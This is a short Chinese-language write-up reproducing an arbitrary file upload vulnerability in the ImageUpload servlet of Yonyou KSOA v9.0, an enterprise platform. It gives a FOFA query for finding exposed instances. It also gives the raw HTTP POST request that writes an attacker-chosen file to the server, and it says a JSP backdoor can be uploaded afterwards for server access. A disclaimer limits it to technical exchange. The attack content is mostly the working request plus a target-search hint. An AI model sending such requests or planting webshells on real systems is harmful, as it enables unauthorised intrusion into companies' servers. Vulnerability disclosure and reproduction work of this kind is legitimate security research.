用友时空KSOA V9.0文件上传漏洞复现

前言

本文仅用于技术交流，严禁用于恶意攻击！！！

---

一、产品描述

用友时空KSOA是建立在SOA理念指导下研发的新一代产品，是根据流通企业最前沿的I需求推出的统一的IT基础架构，它可以让流通企业各个时期建立的IT系统之间彼此轻松对话，帮助流通企业保护原有的IT投资，简化IT管理，提升竞争能力，确保企业整体的战略目标以及创新活动的实现。

二、漏洞概述

用友时空KSOA平台ImageUpload处存在任意文件上传漏洞，攻击者通过漏洞可以获取服务器权限。

三、影响范围

用友时空企业信息融通平台KSOA v9.0

四、复现环境

FOFA:app=“用友-时空KSOA”

五、漏洞复现

1.POC

POST /servlet/com.sksoft.bill.ImageUpload?filename=[上传的文件名]&filepath=/ HTTP/1.1
Host: your-ip
 
[文件内容]

2.发送请求包

3.上传成功

六、漏洞利用

后续可上传jsp后门文件进行连接，本文仅作测试，不再演示

---

参考链接

用友时空KSOA ImageUpload任意文件上传漏洞复现+利用